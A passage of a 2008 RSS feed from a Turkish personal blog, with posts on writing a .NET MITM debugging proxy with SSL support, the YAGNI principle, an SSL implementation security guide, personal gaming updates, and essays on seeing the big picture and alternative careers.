&lt;a href="http://feedads.g.doubleclick.net/~a/CmhpGFdgPYKWcvclL-3e8wlxGVQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CmhpGFdgPYKWcvclL-3e8wlxGVQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UreZ2f8I"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=kRLfjQZO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=NMAGeDI1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QGyOtqvB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=QGyOtqvB" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/aqHW42qT20w" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/reklam-korkusu-oku/</guid>
  <comments>http://ferruh.mavituna.com/reklam-korkusu-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/reklam-korkusu-oku/</feedburner:origLink></item>
<item>
  <title>Obsesif Programcılık</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/j6blKXNecj8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 30 Kas 2008 12:44:09 +0300</pubDate>
  <description>&lt;p&gt;Programcılık kısa zamanda takıntıya dönüşen işlerden biri sanırım. Sitenin düzenli takipçileri farketmişlerdir bu aralar pek bir şey yazamadım. Genel mevzular dışında yoğun şekilde programlama yapıyorum. Son üç günüm tam anlamıyla feciydi. .NET ile SSL trafiğinede müdahaleyi sağlayacak bir proxy server yazmak ile uğraşıyorum. Aslında daha önceden &lt;a href="http://labs.portcullis.co.uk/application/xss-tunnelling/xss-tunnel/"&gt;XSS Tunnel&lt;/a&gt; için bir proxy yazmıştım ancak o proxy &lt;em&gt;SSL&lt;/em&gt;, &lt;em&gt;keep-alive&lt;/em&gt; desteklemiyor ve daima tek bir server ile HTTP objeleri üzerinden konuşuyordu.
&lt;/p&gt;&lt;p&gt;Dolayısıyla TCP ile sadece tarayıcıdan proxy' ye gelen istekleri işliyordum, diğer taraf gene .NET' in HTTPWebRequest objelerini kullanıyordu. Gelen cevabı da değiştirip tarayıcıya geri gönderiyordum.
&lt;/p&gt;&lt;p&gt;Bu yeni sistemde ise tam bir proxy implemantasyonu yapıyorum. Yaptığım iş tam olarak &lt;a href="http://ferruh.mavituna.com/mitm-proxy-attacking-debugging-proxyleri-oku/"&gt;MITM – Attacking / Debugging proxylerin&lt;/a&gt; yaptığı işin aynısı. Bunun da bir çok gereksinimi var. SSL' e MITM yapmanız gerekiyor, HTTP Protokolünü kendiniz implemente etminiz gerekiyor. Son  üç-dört gündür vaktimi harcadığım konular:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;.NET' te TCPClient ile SSL bağlantısını self-signed bir sertifika ile kabul etme
&lt;/li&gt;&lt;li&gt;TCPClient ile Chunked encoding' i destekleme
&lt;/li&gt;&lt;li&gt;HTTP/HTTPS implementasyonu
&lt;/li&gt;&lt;li&gt;Gzip, Deflate' i anlama, decode edebilme
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Bazıları uzun, bazıları kısa sürdü ama bazı noktalarda ciddi derecede bunalıma girdim. Eğer  3 saat süreceğini planladığınız bir iş 2 gün sürüyorsa moraliniz bozuluyor ve bazen öyle bir noktaya geliyorsunuz ki "Acaba sonuçlar buna değecek mi?" ya da "Hiç bir zaman çalışmayacak mı?" gibi soruları kendinize sormaya başlıyorsunuz.
&lt;/p&gt;&lt;p&gt;Ama Allaha şükür dört günün sonunda bir dizi hata ayıkladıktan sonra, tuhaf sorunlar ile karşılaştıktan sonra, HTTP RFC' lerini daha detaylı okuduktan sonra sistem çalışmaya başladı. Kodu deneysel aşamadan kurtarıp adam akıllı bir hale sokmak ve çeşitli şekillerde test etmek, performansı artırmak biraz daha vakit alacak ama bundan sonrası basit. 
&lt;/p&gt;&lt;p&gt;Bu arada programcılıkta akıcı noktayı &lt;a href="http://flickr.com/photos/cmpalmer/3039778526/sizes/o/"&gt;yakalamak ile ilgili bu grafik çok hoşuma gitti&lt;/a&gt;. Neyse bu kadar işten sonra ödülü hakettim değil mi?
&lt;/p&gt;&lt;p&gt;&lt;em&gt;Yazar Call of Duty 5 Multiplayer' ı açar ve "Capture the flag" çığlıkları arasında çeşitli Yankee ve Japon askerlerini öldürür....&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/fXf7NSAja_EsbU8mroDS8lRw6wE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fXf7NSAja_EsbU8mroDS8lRw6wE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/fXf7NSAja_EsbU8mroDS8lRw6wE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/fXf7NSAja_EsbU8mroDS8lRw6wE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=1Y2HRQXl"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=14TBRJYB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=47GCRE0n"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=8V1lZWIU"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=8V1lZWIU" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/j6blKXNecj8" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/obsesif-programcilik-oku/</guid>
  <comments>http://ferruh.mavituna.com/obsesif-programcilik-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/obsesif-programcilik-oku/</feedburner:origLink></item>
<item>
  <title>Bilgi ve YAGNI</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/bEDzcsGNcBQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 28 Kas 2008 01:05:48 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/You_Ain%27t_Gonna_Need_It" title="YAGNI"&gt;YAGNI&lt;/a&gt; - &lt;strong&gt;You Ain't Gonna Need It&lt;/strong&gt;,  yazılım çevrelerinde kabul gören ve benim de şiddetle izlemeye çalıştığım prensiplerden biridir. Basit şekilde "&lt;em&gt;bir şeye ihtiyacın yoksa yapma&lt;/em&gt;, &lt;em&gt;ne zaman ihtiyacın olur o zaman yaparsın&lt;/em&gt;" diye özetlenebilir. &lt;br/&gt;&lt;br/&gt;Bugün aklıma şu soru geldi: Bu prensibi bilgiye de uygulayabilir miyiz? Mesela "İspanyolca öğrenmeye henüz ihtiyacım yok, niye gidip İspanyolca öğreneyim ki?" Ya da "&lt;em&gt;Ruby on Rails&lt;/em&gt;" seksi duruyor ama henüz benim bir işime yaramıyor gibi. Bu konu hafiften &lt;a href="http://ferruh.mavituna.com/genel-kultur-cagimizin-en-buyuk-yalanidir-oku/" title="Genel Kültür Çağımızın En Büyük Yalanıdır"&gt;Genel Kültür Çağımızın En Büyük Yalanıdır&lt;/a&gt; konusu ile de ilişkili, henüz ben bir karara varamadım, karara varıp varmamak pratik yaşantıda ne kadar şeyi etkileyecek emin değilim ama ilginç sonuçlar getirebilir.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7GwrEJ_dSHfM9a3wlN_9bHscT-s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7GwrEJ_dSHfM9a3wlN_9bHscT-s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7GwrEJ_dSHfM9a3wlN_9bHscT-s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7GwrEJ_dSHfM9a3wlN_9bHscT-s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=A38cYHrE"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=aHF184MB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=MwyfLVm4"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=IbxXOI96"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=IbxXOI96" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/bEDzcsGNcBQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/bilgi-ve-yagn-oku/</guid>
  <comments>http://ferruh.mavituna.com/bilgi-ve-yagn-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/bilgi-ve-yagn-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> SSL İmplementasyon Güvenliği</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/Ndfz67xym0g/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 07 Kas 2008 11:37:51 +0300</pubDate>
  <description>&lt;a title="SSL İmplementasyon Güvenliği dokümanımı Web Güvenliği Topluluğu (WGT) altında yayınladım." href="http://www.webguvenligi.org/?p=135" id="euxp"&gt;SSL İmplementasyon Güvenliği dokümanımı Web Güvenliği Topluluğu (WGT) altında yayınladım.&lt;/a&gt; Dokümanı daha önce ingilizce olarak &lt;a title="SSL Implementation Security FAQ adı ile yayınlamıştım" href="http://ferruh.mavituna.com/ssl-implementation-security-faq-oku/" id="rapx"&gt;SSL Implementation Security FAQ adı ile yayınlamıştım&lt;/a&gt;, Türkçe versiyonu biraz daha fazla bilgi içeriyor. Çevirirken tekrar üzerinden geçme fırsatım oldu. Eğer yazılım ve web uygulaması geliştiriyorsanız kesinlikle bir göz atın.&lt;br&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Qy62uZriU-5vWAm0_e2M1Xjl66I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Qy62uZriU-5vWAm0_e2M1Xjl66I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Qy62uZriU-5vWAm0_e2M1Xjl66I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Qy62uZriU-5vWAm0_e2M1Xjl66I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QJvUJgBM"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hUlKD9r7"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=PGbUGpYz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=i2DQ0Yf6"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=i2DQ0Yf6" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/Ndfz67xym0g" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/ssl-implementasyon-guvenligi-oku/</guid>
  <comments>http://ferruh.mavituna.com/ssl-implementasyon-guvenligi-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/ssl-implementasyon-guvenligi-oku/</feedburner:origLink></item>
<item>
  <title>Yorgunum Dostlar</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/jHFHclhde3U/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 07 Kas 2008 11:26:40 +0300</pubDate>
  <description>Artık neden blog yazmadım, 15-20 gündür neden gözükmüyorum vs. gibi konuları yazmıyorum bile. Çünkü ben sıkıldım, sizin ne kadar sıkıldığını tahmin bile edemiyorum.&lt;br&gt;&lt;br&gt;Herneyse şimdi hızlı şekilde neler oldu, neler bitti?&lt;br&gt;&lt;br&gt;&lt;ul&gt;&lt;li&gt;Sistemi yeniledim, yeni bir harddisk, yeni bir işlemci, yeni bir grafik kartı aldım,&lt;/li&gt;&lt;li&gt;Hazır o kadar şey yapmışken Vista x64' e de geçtim,&lt;/li&gt;&lt;li&gt;10 senedir beklediğim Fallout 3 çıktı (&lt;i&gt;bunun hakkında daha sonra detaylı yazacağım inşallah&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;Yılbaşı nedeniyle onlarca süper oyun piyasaya çıkıyor ve çıktı onlarla vakit harcıyorum, şu aralar oynadığım oyunlar:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Mass Effect&lt;/li&gt;&lt;li&gt;Fallout 3&lt;br&gt;&lt;/li&gt;&lt;li&gt;Call of Duty 5 : World at War (&lt;i&gt;Multiplayer Beta&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;Soul Calibur IV&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Arada bir baktıklarım da:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;King's Bounty&lt;/li&gt;&lt;li&gt;Mirror's Edge&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Genel olarak sağlığım iyi olsa da inanılmaz bir halsizlik hali içerisindeyim, kansızlığım azdı herhalde,&lt;/li&gt;&lt;li&gt;İş yoğunluğum normalin üzerinde, bu dönem çok yoğunuz dolayısıyla pek kendime vakit ayıramıyorum,&lt;/li&gt;&lt;li&gt;Sitenin SSL' i nin yenileme tarihi geçti, bu da blog ekranlarının SSL desteğinde sorun çıkardı, vs. vs.&lt;/li&gt;&lt;/ul&gt;Bunların içerisinde sizi ilgilendiren bir şey var mı? Muhtemelen yok. &lt;br&gt;&lt;br&gt;Bütün bu dönemde ben gene aktif paylaşıma &lt;a title="FriendFeed" href="http://friendfeed.com/fmavituna" id="ndb7"&gt;FriendFeed&lt;/a&gt;, &lt;a title="Twitter" href="http://twitter.com/fmavituna" id="fur6"&gt;Twitter&lt;/a&gt; ve &lt;a title="RSS Paylaşımından" href="http://ferruh.mavituna.com/newspaper/" id="to73"&gt;RSS Paylaşımından&lt;/a&gt; devam ediyordum. Dolayısıyla blog' ta yeni yazı yokken canınız sıkılırsa buraları takip edebilirsiniz.&lt;br&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Qv0IqdiM0m7rcfy64k8G9AVllqc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Qv0IqdiM0m7rcfy64k8G9AVllqc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Qv0IqdiM0m7rcfy64k8G9AVllqc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Qv0IqdiM0m7rcfy64k8G9AVllqc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=4HXgFfut"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=vQRH8azX"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WpyJMnLC"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=WzDEV014"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=WzDEV014" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/jHFHclhde3U" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yorgunum-dostlar-oku/</guid>
  <comments>http://ferruh.mavituna.com/yorgunum-dostlar-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/yorgunum-dostlar-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> Büyük Resmi Görebilmek</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/oB0SztB0LLQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 17 Eki 2008 22:46:42 +0300</pubDate>
  <description>&lt;p&gt;Tatilim bitti, tekrar beyaz ekranlara döndüm ***. Uzun süredir kafamda dönen, herkesin bildiği lakin göze tekrar sokulmayı hakeden bir konuda yazmak istiyorum. &lt;/p&gt;  &lt;p&gt;Büyük resmi görmek detaylardan kopup gerçek olayı görmek, getiriyi ve götürüyü analiz edebilmektir. Bu hayatın her yerinde karşı karşıya olduğumuz bir durumdur, elimizdekine odaklanıp gerçek amacı unutmak, bir projenin bir bölgesine yoğunlaşıp uzun vadede hataya dönüşen bir karar vermek, günü kurtarmak için 5-10 dakikadan kar edip işin sonunda günler kaybetmek ile alakalıdır. &lt;/p&gt;  &lt;p&gt;Hatta genel olarak gizli servislerin ve devletlerin suni gündem yapması da bizim büyük resmi görmemizi engellemek içindir. Bu suni ya da gerçek ekonomik sıkıntı, savaş, magazin değerli bir haber ya da tamamen gerçek dışı bir olay olabilir. Bunlar sayesinde odağın kayması ve gerçekte, büyük çapta olan olayın farkedilmemesi sağlanır.&lt;/p&gt;  &lt;p&gt;Büyük resmi görmeye bir kaç örnek;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Toplu Taşıma Sorunlarını Çözmek:&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Bir metropolde toplu taşımanın geliştirilmesi ciddi maliyetlere çıkacaktır, ancak toplu taşımayı çözmenin tek amacı sadece insanların daha mutlu olmasını sağlamak için değildir, bunun getireceği güzellikler arasında şunlar da vardır :&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Toplu taşımada kaybedilen insan gücünün ekonomiye geri dönmesi,&lt;/li&gt;    &lt;li&gt;Toplu taşımanın kötülüğünden dolayı artan kişisel araç kullanımının artması     &lt;ul&gt;       &lt;li&gt;Bu hava kirliliği,&lt;/li&gt;        &lt;li&gt;Daha fazla benzin harcanması (&lt;i&gt;paranın yurtdışına çıkması&lt;/i&gt;) ve &lt;/li&gt;        &lt;li&gt;Daha fazla kişisel aracın satılması (&lt;i&gt;paranın yurtdışına çıkması&lt;/i&gt;) anlamına geliyor.&lt;/li&gt;     &lt;/ul&gt;   &lt;/li&gt;    &lt;li&gt;vs. vs.&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Dolayıysıyla toplu taşımayı çözmenin kendini ne kadar sürede amorti edeceği hesaba katılmalıdır, bu sadece insanlar dah fazla oy versin diye yapılması gereken bir şey değil.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Çalışanların öğle yemeği vakti:&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Yapılan araştırmalarda öğle yemeğine 30 dk. yerine 60 dk. ayıran firmalar çalışanlarından daha yüksek performans alıyorlarmış*. Burada büyük resmi gören firmalar 30 dk. kar etmeye değil bunun uzun ve orta vadedeki etkilerini görebiliyorlar. Benzer bir şekilde zamanında &lt;a href="http://ferruh.mavituna.com/hayalet-calisan-oku/"&gt;Hayalet Çalışan&lt;/a&gt; başlığı altında benzer bir konudan bahsetmiştim.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;TDD, Test Driven Development :&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Test-driven_development"&gt;TDD&lt;/a&gt; bir yazılım geliştirme metodolojisidir. TDD ile yazılım geliştirirken her yazılan kod için bir de test kodu yazılır, bu da tabii ki yazılan kod oranını ciddi şekilde yükseltiyor. TDD' nin özellikle Türkiye gibi sıkışık, aceleci, henüz tam oturmamış ülkelerde yerleşememesinin en büyük nedeni de gene büyük resmi görememektir. TDD konusunda yapılan bir çok araştırmada TDD' nin uzun vadede bakım, hata ayıklama ve benzeri proseslerden kazancından dolayı çok daha verimli olduğunu ortaya konulmuştur. Bugün bir çok firma ya TDD uyguluyor ya da sadece Unit Testing yapıyor. Dolayısıyla günlük yazılım geliştirme hızı düşse de sonuçta kazanç artıyor, bu noktada büyük resmi göremeyen yazılım firmaları da günü kurtarmaya devam ediyor **.&lt;/p&gt;  &lt;p&gt;Maalesef hayatta da büyük resmi kaçırabiliyoruz, yegane amacı kaçıyoruz. Burada bir kaç nokta var,  &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Yaptığınız şeyleri yaparken kendinize “&lt;b&gt;Neden?”&lt;/b&gt; sorusunu sorun,      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Yeni bir karar verirken sadece kısa vadeyi değil ana nedeni düşünün,     &lt;br /&gt;&lt;i&gt;Mesela üniversite sınavlarından sonra okul seçerken sadece iyi okul seçmeyi düşünmekle yetinmeyin “&lt;b&gt;Neden Okuduğunuzu&lt;/b&gt;” u düşünün.        &lt;br /&gt;&lt;/i&gt;&lt;/li&gt;    &lt;li&gt;Her işinizi yaparken arada &lt;strong&gt;bir adım geri atın &lt;/strong&gt;ve tüm olayı bir bütün olarak görmeye çalışın. &lt;strong&gt;Detaylarda kaybolmayın&lt;/strong&gt;. Neden başladığınızı, şu an yaptığınızı neden yaptığınızı, bu yapılan ana sonuca yardımı olup olmayacağını değerlendirin.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;Konunun içerisinde olmayan biriyi konuya &lt;strong&gt;çekip hızlı şekilde fikir alın&lt;/strong&gt;.      &lt;br /&gt;Programcılıkta bir yerde saatlerce takılır ve sorunu çözemezseniz hemen etraftaki bir programcıyı bulur ve ona sorunu sorarsanız, sizin iki saattir çözemediğiniz olayı genelde o bir dakikada tespit eder. Çünkü bu sorun genelde ya yazım hatasıdır, ya yazdığınız kod ile baktığınız çıktının farklı olmasıdır. Dışarıdan gelen kişi sizin kadar işin içerisinde olmadığından varsayım yapmadan en aptalca olan şeyleri bile kontrol eder. Yani size “&lt;i&gt;Sunucunun prizi takılı mı?&lt;/i&gt;”, “&lt;i&gt;Baktığın tarayıcı cache’ in de mi tutuyor?&lt;/i&gt;”, “&lt;i&gt;Çalıştırdığın yazılım eski verisyonu mu son olarak compil ettiğin mi?&lt;/i&gt;” diye sorabilir. Siz ise bunları o noktada düşünemeyebilirsiniz (&lt;a href="http://ferruh.mavituna.com/hatayla-yasamak-ve-sorun-ccedil-oumlzmek-oku/"&gt;Hatayla Yaşamak ve Sorun Çözmek&lt;/a&gt;).&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Konu bundan çok daha geniş ama siz zaten konuyu biliyorsunuz, bu ise size bir hatırlatma. Şimdi bir adım geri atın ve düşünün.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;&lt;i&gt;* Makalenin kaynağı BA Business Life dergisi, ancak online olarak bulamadığımdan kaynağı veremiyorum.&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;** Bu konuda bir çok istisna var, her firma illa TDD kullanacak diye bir şey yok, her projeye uygun da olmayabilir, ama TDD başarısı kanıtlanmış metodolojilerden biri.&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;*** &lt;i&gt;“yeşil sahalara dönme” kelime grubuna yapılan göndermedir bu, bu noktada okuyucunun suratında bir tebessüm oluşması gerekiyor.&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gsvvO_sx1nRXgyATzYSfrXUS8gs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gsvvO_sx1nRXgyATzYSfrXUS8gs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gsvvO_sx1nRXgyATzYSfrXUS8gs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gsvvO_sx1nRXgyATzYSfrXUS8gs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QkdiwvuX"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Dv6oc1Oi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=CpbCVKeQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=RxgXeXHd"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=RxgXeXHd" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/oB0SztB0LLQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/buyuk-resmi-grebilmek-oku/</guid>
  <comments>http://ferruh.mavituna.com/buyuk-resmi-grebilmek-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/buyuk-resmi-grebilmek-oku/</feedburner:origLink></item>
<item>
  <title>Eğer Başka Bir İş Yapacak Olsaydınız</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/arDziQgUIAA/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 17 Eki 2008 22:19:46 +0300</pubDate>
  <description>&lt;p&gt;Bu zaman zaman aklıma gelir, eğer şu an yaptığım şeyi yapmıyor olsaydım olsaydım ne yapardım?&lt;/p&gt;  &lt;p&gt;Ben genelde istediğim şeyin peşinden giden insanlardan biriyimdir ama buna rağmen hayatın rüzgarını, gerçekçi planları ve elimdeki kaynakları kararlarıma da dahil ederim. Dolayısıyla bir konuda 10 sene harcadıktan sonra bam başka bir konuya atlayacağımı sanmıyorum. &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Oyun Programcılığı       &lt;br /&gt;&lt;/strong&gt;Oyun programcılığı içimde kalmış uktelerden biridir, hatta bundan 4,5 - 5 sene kadar önce oyun programcısı olarak bir firmada başlıyordum, sonra olmadı.       &lt;br /&gt;      &lt;br /&gt;Lakin C++ taki deneyimsizliğim, çok güçlü bir matematik hatta fizik altyapımın olmaması ve deneyim kazanacak imkan olmaması yüzünden sanırım hiç bir zaman bu konuda uzmanlaşamadım.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Oyun Yazarlığı       &lt;br /&gt;&lt;/strong&gt;Oyunlar benim en büyük hobilerimden biridir, sadece oynamak değil kültürü, tuhaf oyunları görmek, yeni akımları incelemek vs. O yüzden her zaman oyun tanıtım yazılarını profesyonel olarak yapmayı da düşünmüşümdür. Lakin kalemimin güçlü olmaması, sektörün maddi yönden tatmin edici olmaması gibi etkenlerden hiç ciddi olarak düşünmedim bile.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Web Girişimcisi       &lt;br /&gt;&lt;/strong&gt;Bir çok kişinin web girişimciliği sadece son senelerdeki patlamaya dayanırken benim hayallerim yaklaşık 9-10 sene önceye dayanıyor (&lt;em&gt;dot-com bubble' ı ve sonrası&lt;/em&gt;). Hani şu 